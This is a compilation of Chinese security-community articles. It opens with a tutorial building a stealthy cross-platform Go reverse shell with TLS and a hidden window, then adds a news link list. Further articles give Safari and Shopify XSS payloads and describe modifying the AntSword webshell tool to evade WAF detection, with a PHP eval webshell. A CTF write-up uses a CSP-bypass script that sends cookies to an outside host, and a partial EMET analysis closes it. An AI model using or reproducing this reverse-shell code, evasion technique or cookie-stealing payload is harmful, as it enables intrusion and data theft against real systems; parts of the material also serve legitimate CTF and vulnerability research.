Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)`
正如你所见，我们如期得到了反向Shell。
目前来说还没有什么特殊的，因为我们的目标还没有完全实现。
## 配置
既然我们现在已经有了反向Shell的基础代码了，但是我们还需要在每一次编译之前对代码进行修改，因为我们还要定义攻击者的监听端口以及IP地址。
这就非常不方便了，但是我们这里可以使用一个小技巧：在链接时定义变量（在编译之前）。
实际上，我们还可以在构建代码的过程中定义某些变量的值（使用go build命令）。
下面给出的是之前的代码样本：
// filename: tcp.go
package main
import (
“net”
“os”
“os/exec”
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial(“tcp”, connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command(“/bin/sh”)
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
我们只是添加了下面这行代码：var connectString string这份代码可以按照如下方式进行编译：
$ go build —ldflags “-X main.connectString=192.168.0.23:2233” tcp.go
这样一来，攻击者的IP地址以及端口号就可以在构建代码的过程中进行动态定义了。
需要注意的是，这些变量是可以通过package.nomVariable来访问的，而且这些变量必须是string类型。
为了让编译更加容易实现，我们可以创建一个Makefile：
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=—ldflags “-X main.connectString=${LHOST}:${LPORT}”
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
接下来，我们将使用LHOST以及LPORT环境变量来定义设置信息：
$ make LHOST=192.168.0.23 LPORT=2233
go build —ldflags “-X main.connectString=192.168.0.23:2233” -o reverse_shell tcp.go
## 跨平台实现
既然我们可以轻松配置我们的Payload，那么接下来就是要想办法实现跨平台了。
正如我们之前所说的，这也是我们选择Go语言的原因，因为它只需要一份相同的基础代码，就能够适用于各种架构以及平台。
简而言之，runtime数据包提供了GOOS以及GOARCH变量。
接下来，我们一起看一看GOOS的使用方法。
// filename: tcp_multi.go
package main
import (
“net”
“os”
“os/exec”
“runtime” // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial(“tcp”, connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
很明显，我们在这里添加了一个switch条件来处理GOOS不同的值。因此，我们可以直接检查不同操作系统平台的值，并针对平台情况来修改目标进程。
需要注意的是，上述代码还可以进一步简化，因为/bin/sh目录一般不会出现在Windows操作系统之中：
switch runtime.GOOS {
case “windows”:
// Windows specific branch
cmd = exec.Command(“cmd.exe”)
default:
// any other OS
cmd = exec.Command(“/bin/sh”)
}
现在，我们还要使用GOARCH来处理交叉编译：
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build —ldflags “-X main.connectString=192.168.0.23:2233” -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
## 网络加密
现在，我们看一看如何实现网络流量的加密。
我们现在有下列选项可以选择：
1. 使用现成的方法在应用层实现加密；
2. 在会话层使用常见的经过测试的协议来实现加密（TLS）；
出于简单和安全这两个角度来考虑，我们选择TLS，因为它可以用Go语言轻松实现，而且其标准代码库已经完全支持启用TLS了。
在客户端方面，我们还需要一种新的&tls.Config类型对象来配置通信链接，例如证书绑定等等。
下面给出的是经过优化并配置了TLS的新的基础代码：
import (
“crypto/tls”
“runtime”
“os”
“os/exec”
“net”
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case “windows”:
cmd = exec.Command(“cmd.exe”)
default:
cmd = exec.Command(“/bin/sh”)
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial(“tcp”, connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
正如之前所说的那样，创建一个TLS套接字跟创建一个简单的TCP套接字其实是非常相似的，而且tls.Conn对象跟net.Coon的使用模式基本相同。
## 条件编译
正如之前所示，我们可以根据目标操作系统来修改程序的执行方式。但是，如果你想尝试使用这份代码的话，你就会发现一个问题。cmd.exe窗口并不会隐藏，而是直接弹出来了，而这就会引起目标用户的怀疑。
幸运的是，exec.Cmd对象的SysProcAttr选项能够改变这种行为方式，正如文档库中所介绍的那样：
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下，我们从syscall.SysProcAttr模块的文档中获取到了下列信息：
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
修改后的代码如下：
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
不过上述代码还不适用于Windows以外的平台，因为syscall/exec_linux.go中并没有HideWindows属性。
因此，我们还需要使用条件编译来调整我们的项目代码。
比如说，如果我们想要针对Windows平台来编译源文件，我们就要添加下列代码：
// +build windows !linux !darwin !freebsd
import net
…
项目结构如下所示：
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
其中，hershell.go中包含了程序的核心代码。接下来，我们需要创建一个名叫shell的模块，其中包含有针对Linux和Unix的shell_default.go文件以及针对Windows的shell_windows.go文件。
## 证书绑定
使用TLS来加密通信链接其实是非常好的，但如果没有对服务器进行认证的话，流量仍然有可能被“中间人攻击“等方式拦截到的。
为了防止这种攻击的发生，我们需要对服务器提供的证书进行验证，即所谓的“证书绑定“。
下列函数实现了这种功能：
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
我们只需要在程序与远程服务器进行连接时调用这份代码即可，如果证书无效的话，连接将会被关闭：
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial(“tcp”, connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
## 总结
本文的目标是给大家展示Go语言提供给我们的实用性以及便捷性。它不仅提供了跨平台特性，而且还整合了大量实用工具。除此之外，社区还有大量的数据包以及代码库可以使用，这一点是本文没有提到的。
你可以在我们的GitHub代码库【传送门】获取本项目的完整源代码，如果你有任何问题的话，欢迎在GitHub上留言。 | 社区文章 |
# 【知识】5月3日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： MS16-145：Edge浏览器TypedArray.sort UAF漏洞分析（CVE-2016-7288）、WHID:基于WiFi的HID
Attacks (人机接口攻击)、PowerShell注入技巧：无盘持久性和绕过技术、** **利用 Event Viewe(事件查看器)bypass
UAC** **、 shodan新推出的用于发现c2服务器的服务、PWN2OWN 2017 Linux 内核提权漏洞分析、Fastjson
远程反序列化程序验证的构造和分析、你的数字签名会被撞破么？安全Hash的攻与防** **
**
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
shodan新推出的用于发现c2服务器和恶意软件的服务
<http://thehackernews.com/2017/05/shodan-malware-hunter.html>
[](http://thehackernews.com/2017/04/Orange-is-the-new-black-season-5-episodes.html)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
MS16-145：Edge浏览器TypedArray.sort UAF漏洞分析（CVE-2016-7288）
<http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html>
检测网站的header安全的小家脚本
<https://github.com/m3liot/shcheck>
一个Android 勒索app的PoC,仅供学习使用
<https://github.com/alepacheco/AndroRW>
terminal emulators' processing of escape sequences
<http://www.openwall.com/lists/oss-security/2017/05/01/13>
BSidesCharm 2017 Videos
<http://www.irongeek.com/i.php?page=videos/bsidescharm2017/mainlist>
WHID:基于WiFi的HID Attacks (人机接口攻击)
<https://whid-injector.blogspot.lt/2017/04/whid-injector-how-to-bring-hid-attacks.html>
Google Chrome列表项标记类型混淆远程执行代码漏洞
<http://www.zerodayinitiative.com/advisories/ZDI-17-314/>
对基于UDP的DDoS攻击记录的1000天
[https://www.repository.cam.ac.uk/bitstream/handle/1810/263925/1000-days-udp%20%281%29.pdf](https://www.repository.cam.ac.uk/bitstream/handle/1810/263925/1000-days-udp%20\(1\).pdf)
PowerShell注入技巧：无盘持久性和绕过技术
<http://www.binarydefense.com/powershell-injection-diskless-persistence-bypass-techniques/>
shodan新推出的用于发现c2服务器的服务
<https://malware-hunter.shodan.io/>
利用 Event Viewe(事件查看器)bypass UAC
<https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/>
twitter XSS + CSP绕过
<http://www.paulosyibelo.com/2017/05/twitter-xss-csp-bypass.html>
QuickZip V4.60缓冲区溢出漏洞
<http://blog.knapsy.com/blog/2017/05/01/quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/>
Java Deserialization Scanner v0.5:新增DNS和CPU检测引擎
<https://github.com/federicodotta/Java-Deserialization-Scanner/releases>
PWN2OWN 2017 Linux 内核提权漏洞分析
<https://zhuanlan.zhihu.com/p/26674557>
Fastjson 远程反序列化程序验证的构造和分析
[http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/](http://bobao.360.cn/learning/detail/3797.html)
你的数字签名会被撞破么？安全Hash的攻与防
<http://www.freebuf.com/articles/database/133391.html> | 社区文章 |
不久前，我的同事Fredrik提到Safari允许域名中包含特殊字符。 他在`Detectify Crowdsource
Slack`中分享了这个情况。这也引起了我的兴趣，所以我觉得对此进行相关研究。
我们需要注意，除了OS X之外，Safari还存在于iOS上，所以这也导致Safari成为最受欢迎的浏览器之一。
在阅读了[博客文章](https://bo0om.ru/safari-client-side)（之后已被翻译成英文）后，我去了`HackerOne`和`Bugcrowd`，拿到了一些获得赏金的程序并将所有域名都放到了一个文本文件中。
在我手动完成这些操作后，由于没有保存上一次列表，所以可能丢失了一些内容。
之后我编写了一个Python函数来循环遍历域，并使用`asdf.[domain]`的记录保存这些域。
可以假设这些域支持通配符，而我最终得到了大约80个域名。
def wildcard(d):
if subprocess.Popen(["dig", "asdf."+d, "+short"], stdout=subprocess.PIPE).communicate()[0]:
return True
仔细查看该列表，我们发现明显大多数只是将`*.[domain]`重定向到`[domain]`或`www.[domain]`，所以让我们再次使用Python来帮助我们缩小这个列表。
requests.packages.urllib3.disable_warnings()
def check(d):
try:
r = requests.get("http://asdf." + d, verify=False)
if re.match("^http(s)*:\/\/(www.)*"+d, r.url):
return False
except:
print "Error: " + d
return True
此时我们得到了不到50个不同的域名，然而这些域名很少能够手动完成的。
其中许多页面会重定向到默认页面（例如，paypal-forward.com总是重定向到paypal.com），而如果用户在请求中放置了不规范的字符则
会响应服务器错误。其中一些实际上是HTML编码的URL。根据我们上面的内容，我找到了三个不同的网站作为分析。
**First unnamed service**
这可能是域名中特殊字符直接引起的XSS。
与公司获得自己的`[company].slack.com`类似，使用此服务可获得自己的子域名。 注销时转到域意味着会显示登录表单，包括子域。 如下所示：
<form action="https://subdomain.chatservice.com" method="post">
<input id="user" autofocus>
<input id="pass">
</form>
第一个出现问题是我们不能简单地插入脚本标记进行注入攻击。 虽然Safari允许部分特殊字符的输入，但有些字符是不允许的。
除了使域无效的字符（例如/）之外，我们很快也发现域也会对某些字符进行自行删除操作。
我开始阅读`form-tag`所支持的部分并尝试注入所有参数。
"onfocusin="alert(1)"d="
（onfocusin与onfocus不同，并且在输入框被监控的形式下工作正常）。
现在我们只让XSS测试人员绕过。 由于此payload仅适用于Safari，如果我们不能绕过XSS的检查模块，它就变得毫无价值。
幸运的是，我们需要做的就是记住该服务删除了哪些字符，并相应地更改我们的payload。
"onfo%0ccusin="alert(1)"d="
**Shopify**
Shopify是下一个列表中的目标。 他们在`* .shopify .com`和`*
.myshopify.com`上都有一个通配符，两者都定位到同一个页面。 看一下源代码和Safari主机的内容，我们需要清楚将要做的事情。
我们必须从欺骗正则表达式的检查开始以便理解我们在`* .shopify.com`中未知的内容。
我们只需在域名中添加句点即可轻松完成，例如`hehehe.shopify.com./`。
然后我们通过 `jQuery’s ().html`添加主机名。
起初我想注入类似于`<svg•onload=alert(1)>`的payload，但事实证明服务器在我试图使用非空格字符时拒绝进行回复（例如％0c）。
使用`().html`函数，我最终得到了以下解决方案：
http://as<script>eval(location.hash.substring(1));df<!--.sectest42.shopify.com./#alert(document.domain)
但是这个漏洞并没有赏金奖励，因为在shopify.com和myshopify.com的子域上执行脚本不会导致额外的安全风险。`Shopify`允许客户将文件上传到`cdn.shopify.com`，并在`myshopify.com`的子域上托管任意内容。
话虽如此，但他们也非常好地处理了报告，并鼓励我能够在他们处理完问题后公开披露其平台上的漏洞。总体而言，这是一种愉快的漏洞发掘体验，我们现在已经介绍了如何通过经典操作反射XSS和使用JavaScript来实现XSS。
**Asian based webstore**
当在子域中使用特殊字符时，我们遇到了一个经典的错误，这也就反映了系统容易受到XSS的攻击。
但是，我并没有比HTML注入花费更长时间。所有payload都将通过安全审核人员的审核，这对于仅限Safari的漏洞来说是没有意义的。
（我实际上写了另一个脚本来尝试从％00到％FF的所有字符，以确认没有字符被服务器端过滤掉，这是与第一个记录方法类似的另一种方法）
**A Christmas story of errors, beers and passwords**
在进行这些操作时，我偶然发现Safari中的证书错误页面也容易受到攻击。而通配符同样可以触发此错误，与`x.slack.com`和`x.y.slack.com`相比，其中证书用于`*
.example.com`但Web服务器支持`*.*.example.com` 。
由于我们能够将所有请求均重定向到有缺陷的证书上，所以另一种触发错误的方法是令网站视MITM为受害者。最常见的简便的小规模方法就是令攻击者和受害者使用相同的无线网络。
起初这看起来像一个UXSS攻击，但事实证明Safari修改了源代码。
我对这个漏洞进行了尝试，但是没有发现其他更新的利用，之后我们便向Apple（CVE-2018-4133）报告了它。
Safari所支持的密码管理器数量超出了我的测试范围，因此我采用了与以前相同的方法来测试`Bug Bounty`或`Responsible
Disclosure`的密码管理器以便获得更短的列表。
其中的一个较为受欢迎的密码管理器支持自动填充操作，并且可以利用选项卡API检查位置信息。
这意味着我可以窃取任何触发Safari错误的网站的密码。是否能将我们上述内容在iOS上重现取决于系统如何处理扩展。所以它也提醒了我们，这些自动填充功能确实应该被禁用。
`本文为2018年十大网络黑客技术提名文章，欢迎读者来阅`
本文为翻译文章，原稿为：https://labs.detectify.com/2018/04/04/host-headers-safari/ | 社区文章 |
Author: lz520520@深蓝攻防实验室
# 0x00 前言
前两篇从蚁剑的介绍，编解码器的功能讲解，到源码分析和解码器的改造，其实已经实现了大部分流量的加密传输，只要在设计一个简单的加密算法即可，比如异或算法，用字符串和key做异或即可，这样其实能过掉绝大部分的WAF了，但我们的流量里还有一点小瑕疵，也就是第一章提到的其他参数，其他参数由于固定了编码方式，如base64、hex,很容易被解析检测到，也没有提供设置让我们可以进行调整，所以还需要进一步的改造，让其他参数随机化，即添加可变长度前缀。
这个其实已经有人实现了这个功能了，在最后的参考链接里，并且还实现了蚁剑版的jsp一句话，在这里先膜拜大佬，我也一直有jsp改造的想法，但迟迟没开工，现在有现成的，美滋滋。他实现的参数随机化，目前只做了php的，其他脚本照抄就行，第二篇的改造成果，我就直接迁移到这位大佬修改后的蚁剑上了，然后再修改其他脚本随机化即可，也算是站在前人的肩膀上。
# 0x01 参数随机化调优
改造的细节我就不赘述了，参考我最后留的大佬博客链接，界面如下。
我这里就说下，在他基础上额外的调整吧，他随机前缀默认的长度为2，但考虑到像php/aspx使用base64编码其他参数，而asp使用hex编码其他参数，base64前缀不能为4的倍数，hex不能为偶数，所以我就调整默认值为5。
source\modules\shellmanager\list\form.js
然后他里面其实有个bug，说bug之前，我得先说下是怎么实现给其他参数编码添加随机化前缀的。
source\core\base.js
在这个文件里，有个format函数，原本输入参数为encode，即字符编码，改造后换成opts，否则无法获取到随机前缀长度值，而encode也可以通过opts获取。
这个format是用于字符串编码的，比如base64编码，用于请求发送的其他参数值编码，
改造后在这里新增了一个newbase64函数，在base64编码后，通过之前传入的opts里设定的random-prefix，为base64编码添加一个随机长度前缀，我在这个基础上做了一个倒序处理，进一步加强混淆吧，因为实现比较简单，我就顺手加上了。
所以bug在于，没有将所有调用format位置的传入参数都替换成opts，有的位置还是传入的encode，估计大佬只做了php的，也只测试了php，所以忘了asp/aspx，以下为部分修改调整位置。
source\core\asp\index.js
source\core\aspx\index.js
# 0x02 asp/aspx参数随机化改造
在改造asp/aspx之前，因为我对参数值做了逆序，所以我得先调整php模板。
source\core\php\template\filemanager.js，改造如下，arg1使用newbase64进行编码，编码逻辑为base64->随机前缀->逆序，所以在代码里，对提交的参数，反向操作，strrev逆向->substr去随机前缀->base64解码。（这里#randomPrefix#在发送之前会被替换成长度值）
其他php代码模板差不多的处理。
接下来就是做asp/aspx的改造，其实看了php的，你基本也知道怎么改了，就是语法函数不一样。
asp里原本是使用hex编码参数值，所以根据newbase64的方式造呗，哈哈。
source\core\base.js，newhex
因为有的地方调用的是buffer函数，还得造个newbuffer，这个和hex有啥区别，区别在于hex进行了字符编码转换。
然后在source\core\asp\template\filemanager.js等地方调用。
aspx改造和上面没啥两样，就举个例子就好了，source\core\aspx\template\filemanager.js。
到此，改造基本结束。
# 0x03 随机化参数测试
php测试，可以看到%3D，就是把base64倒序了。
<?@eval($_POST["test"]);?>
倒序后，将去前缀和不去前缀的字符串，进行base64解码，可以看到效果如下
aspx
asp是hex编码，就更不好识别了。
然后我加一个jsp演示，这个yzddMr6做好的，因为java的特殊原因，传输的payload的编码方式都是写死的，只支持base64和hex。
对应webshell如下，因为少了AES算法加密步骤，所以看起来就更小了。
效果如下，ant值删减了部分，因为传输的是java字节码太长了看不到其他参数。
最后给大家展示一张使用异或编解码的效果图，这是对key和value都做了异或+base64，除主payload以外，其他参数值额外做了随机前缀+逆序（这个操作为内置的，无需操作），整体流程没有什么复杂的算法，但已做到很好的加密效果，过WAF是妥妥的了。
# 0x04 总结
蚁剑改造过WAF系列，目前就告一段落，回过头看整个过程，其实没啥难理解的地方，就是一些小技巧的结合，从解码器改造，到随机前缀+逆序等改造，就能达到通信流量免杀的效果了。如果大家对蚁剑改造的过程有啥想法，大家也可以一起讨论下。我也是现学现卖，大家也自己动手试试，动过手就会知道，对菜刀、蚁剑这一类webshell工具通信原理更清晰了，不管是进行下一步的改造还是制作自己的webshell客户端都有帮助。
最后，再次感谢yzddMr6大佬的分析文章和蚁剑。
可能有人会提到上传免杀和落地免杀怎么办，这个其实在做这个系列的时候都搞定了，只是文章里没有提到，这个网上都有很多免杀绕过文章了，我再重复提也没啥意思，有些检测规则绕过很没道理的，就不断尝试，fuzz啥的。另一方面这种文件内容免杀，不像流量免杀，特征还是比较容易提取的，传多了就不免杀，我可能今天发出来，明天就凉了。
# 0x05 参考
<https://yzddmr6.tk/posts/antsword-diy-2/>
<https://github.com/yzddmr6/antSword/tree/v2.1.x> | 社区文章 |
# 2018 RCTF-WEB题 AMP记录
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这是一道RCTF2018的web题，22solved
题目地址
<http://amp.2018.teamrois.cn>
github地址：
<https://github.com/zsxsoft/my-rctf-2018/tree/master/amp>
###
## 0x01 尝试
打开页面，提示输入name作为请求参数：
测试name参数yunsle，页面提示如下：
点击STOP TRACKING ME后，提示将会记录请求request并发送给admin：
查看cookie内容，发现提示，flag在admin的cookie中：
提示中提到记录请求以及将会发送给admin，很自然地想到XSS，于是尝试name参数：
http://amp.2018.teamrois.cn/?name=%3Cscript%3Ealert(1)%3C/script%3E
但是页面并没有弹窗，并且在控制台输出：
查看http响应头，发现了做了CSP内容安全策略，并且设置了script-src
了解CSP可以看这里：<https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP>
script-src属性开启将对当前页面上可执行的JS源进行了限制
查看源代码可以看到，所有引用的JS都申明了一个nonce属性，nonce属性中的value是服务端随机生成的字符串
只有申明了nonce属性，并且nonce值和服务端随机数一致时才能执行JS来源：
于是，自然地，尝试绕过这里的CSP规则
之前有看到过针对nonce的绕过操作，是利用页面上XSS点之后较近的JS引用中的nonce属性，简单来说可以看下面实例：
<p>这是插入点</p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
当插入点可控时，可以建立如下的payload：
<script src="http//yourvps/test.js" a="
此时，payload插入之后的页面上，将变成：
<p><script src="http//yourvps/test.js" a="</p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
这样就讲nonce包含到了构建的JS引用中，导致绕过
在这里，用上述绕过姿势引入放在服务器上的JS代码，在代码中创建img标签，在img的src中加入cookie值
最后src中将打到ngrox上
构建payload如下：
http://amp.2018.teamrois.cn/?name=<script src="http://vps/1.js" a="
服务器上JS内容：
var img = document.createElement('img');
img.src = 'http://ec492eb4.ngrok.io/3333='+encodeURIComponent(document.cookie);
name参数设置为payload提交后，查看本地浏览器已经执行了从服务器上加载的JS代码，并且将本地的cookie打到了ngrox：
接下来点击STOP TRACKING ME按钮后，等待服务器端admin查看页面，将cookie打过来
但是等了一会后，接收到的打过来的cookie依然不是真正的flag！
到这里就懵逼了，打回来的cookie里面仍然是提示：
用ceye再尝试接收了一次，仍然是失败的结果：
## 0x02 复现
等比赛结束，看WP后发现，考点是在AMP上（题目和代码注释里都提示了，然而没有去想。。）
AMP的官网：
<https://www.ampproject.org/zh_cn/>
简单介绍就是：
> `谷歌AMP（Accelerated Mobile Pages，加速移动页面）是Google推出法人一种为静态内容构建 web
> 页面，提供可靠和快速的渲染，加快页面加载的时间，特别是在移动 Web 端查看内容的时间。
> AMP HTML 完全是基于现有 web 技术构建的，通过限制一些 HTML，CSS 和 JavaScript 部分来提供可靠的性能。这些限制是通过
> AMP HTML 一个验证器强制执行的。为了弥补这些限制，AMP HTML 定义了一系列超出基础 HTML 的自定义元素来丰富内容。`
这题的页面中，使用了AMP，因此就引入了AMP的标签，这就引入了AMP标签的一些特性
官方文档中，有如下的介绍：
AMP 提供了以下两个组件，可满足您的分析和衡量需求：amp-pixel 和 amp-analytics。两个组件都会将分析数据发送到定义的端点。
如果您只是跟踪诸如简单的跟踪像素之类的行为，则可以使用 amp-pixel 组件，它提供了基本的网页浏览跟踪功能；网页浏览数据将发送到定义的网址。某些与供应商的集成功能可能需要使用此组件，在这种情况下，这些集成功能将指定确切的网址端点。
在官方文档上，对amp-pixel标签有这样一个代码实例：
mp-pixel 的简单配置
要创建简单的 amp-pixel 配置，请在 AMP 网页的正文中插入下方示例所示的类似内容：
<amp-pixel src="https://foo.com/pixel?RANDOM"></amp-pixel>
<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(cid-scope-cookie-fallback-name)"></amp-pixel>
其中cid-scope-cookie-fallback-name意思是：文档未由AMP代理服务时，备用cookie的名称，如果未提供，则cid作用域将用作cookie名称。
于是当构建如下payload时：
<amp-pixel src="https://YOUR_WEBSITE/?cid=CLIENT_ID(FLAG)"></amp-pixel>
将会把cookie的FLAG的值赋值为变量值
对以上payload进行复现尝试，拿到flag：
## 0x03 总结
做题还是有一个快速学习能力的要求，很多东西都是在题目刚刚接触时才会接触到一个新的事物。这时候就需要快速对新事物进行了解，并且找到利用点，这点是最重要的。
另外，这题中AMP的功能和标签要能生效，必须要能走https协议并且不能挂Burpsuit代理
如果挂了代理，https协议失效，v0.js并没有真正生效，AMP标签也会失效：
在一开始做题的时候，开了浏览器的Burpsuit代理，所以使用CSP绕过payload可以提交上去（没有被AMP加载的v0.js禁止），但是打不到flag
当不走Burpsuit的时候，payload是提交不了的，会被AMP加载的JS限制，如图： | 社区文章 |
# 【技术分享】深入挖掘EMET
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.insinuator.net/2016/09/diving-into-emet/>
译文仅供参考，具体内容表达以及含义原文为准。
上周，我们决定对微软提供的EMET库进行一次深入探究。这个库的创建目的是为了在无法源码编译的应用程序时，对应用程序引入几个安全功能。
它还添加了一个额外层来保护应用程序免受过滤库调用的典型利用技术，阻止使用危险函数/组件以及增加了一些利用缓解技术。
考虑到已经有很多研究者也在研究EMET，我们目前只是打算理清楚它的结构和各组件之间的交互方式。本篇文章将分享我们的一些研究发现。
**大体框架**
* * *
在安装了EMET5.51 (SHA1 (EMET Setup.msi) =
98f0cb46df42bdd5ff8b92f87cad728e9373fe97）之后，我们看到了以下的新文件：
· 程序文件
· EMET5.5
· 部署
· 分组政策文件
· EMET.adml
· EMET.admx
· 保护配置文件
· CertTrust.xml
· Popular Software.xml
· Recommended Software.xml
· DevExpress.BonusSkins.v15.1.dll
· DevExpress.Data.v15.1.dll
· DevExpress.Images.v15.1.dll
· DevExpress.Utils.v15.1.dll
· DevExpress.XtraBars.v15.1.dll
· DevExpress.XtraEditors.v15.1.dll
· DevExpress.XtraLayout.v15.1.dll
· DevExpress.XtraTreeList.v15.1.dll
· EMET_Agent.exe
· EMET_CE.dll
· EMET_Conf.exe
· EMET.dll
· EMET_GUI.exe
· EMET_Service.exe
· EMET_Service.exe.config
· EMET_User’sGuideLink.txt
· EULA.rtf
· HelperLib.DLL
· Microsoft.GroupPolicy.Management.dll
· MitigationInterface.DLL
· PKIPinningSubsystem.DLL
· Privacy Statement.rtf
· ReportingSubsystem.DLL
· SdbHelper.dll
· TelemetrySubsystem.DLL
· TrayIconSubsystem.DLL
· windows
· AppPatch
· EMET.dll
· 定制
· {f8c4cc07-6dc4-418f-b72b-304fcdb64052}.sdb
得到这样一份安装文件清单之后，你会面临以下几个选项：
1.解压缩安装程序包
2.猜测安装目录
3.使用镜像工具
每一个选项都各有优缺点，第一个选项会呈现安装程序内的所有文件，即使是不会安装的文件也会呈现，但动态生成的文件可能不会出现。第二个选项或许是最简单的一个，但也是最容易犯错的一个，因为你永远都不会知道不同的文件是否存储在不同的地方。
第三个选项可以概括出文件系统两种状态之间生成的所有文件内容，这个是最准确的一个选择，但同时也会产生最多的数据。
我们决定采取第三个选择，这样可以不错过任何文件，我们使用“InstallWatch
Pro”作为截屏工具，然后将镜像到的内容分类获得所有的创建/更改/删除文件和注册表项。
最相关的文件位于C:Program FilesEMET 5.5 and
C:WindowsAppPatch文件夹。第一个主要是存储于EMET进行交互的应用程序，第二个包含了实际的EMET库（在一个64位系统中也有一个EMET64.dll
文件）。操作系统使用此文件夹来存储所谓的SHIM库。应用程序加载器会将这种库注入在应用程序和操作系统API之间。将导入表的条目设置为填充程序库而不是操作系统提供的库。因为这样的过程是在应用程序加载的过程中迅速完成的，所以这种SHIM库可以在应用程序启用过程中获得大多数函数调用。因此，SHIM库通常充当代理或筛选器，它们对于应用程序和操作系统来说是完全透明的。这些组件可以看做是直接交互。
**配置工具**
* * *
EMET有多个接口，用来配置受保护的应用程序。第一个，也是使用率最高的是GUI工具 EMET_GUI.exe。
此应用程序使用.Net编写，并且没有采用混淆处理，所以很容易就可以看到源码。它负责显示（需要 UAC 特权提升）
当前受保护应用程序的管理员，并允许管理员添加、删除和配置现有的保护机制。第二个应用是 EMET_Conf.exe，它也使用.Net编写，并提供通往 EMET
配置的命令行界面。配置 EMET 的最后一个选项是通过使用分组策略，被存储在部署子文件夹中。
一些应用程序第一次在OS上安装时，默认情况下就会受到EMET保护。这些应用程序可以在EMET的GUI配置面板上看到，以微软IE浏览器、java和ADOBE为例：
然而，当用户想要配置其他应用程序受到EMET保护时，通常会从GUI与EMET进行交互。如下步骤图所示，第一步要选择要保护的应用程序，然后EMET会更新
Shim DB “.sdb”文件，OS会使用这一文件来判定是否将EMET.dll
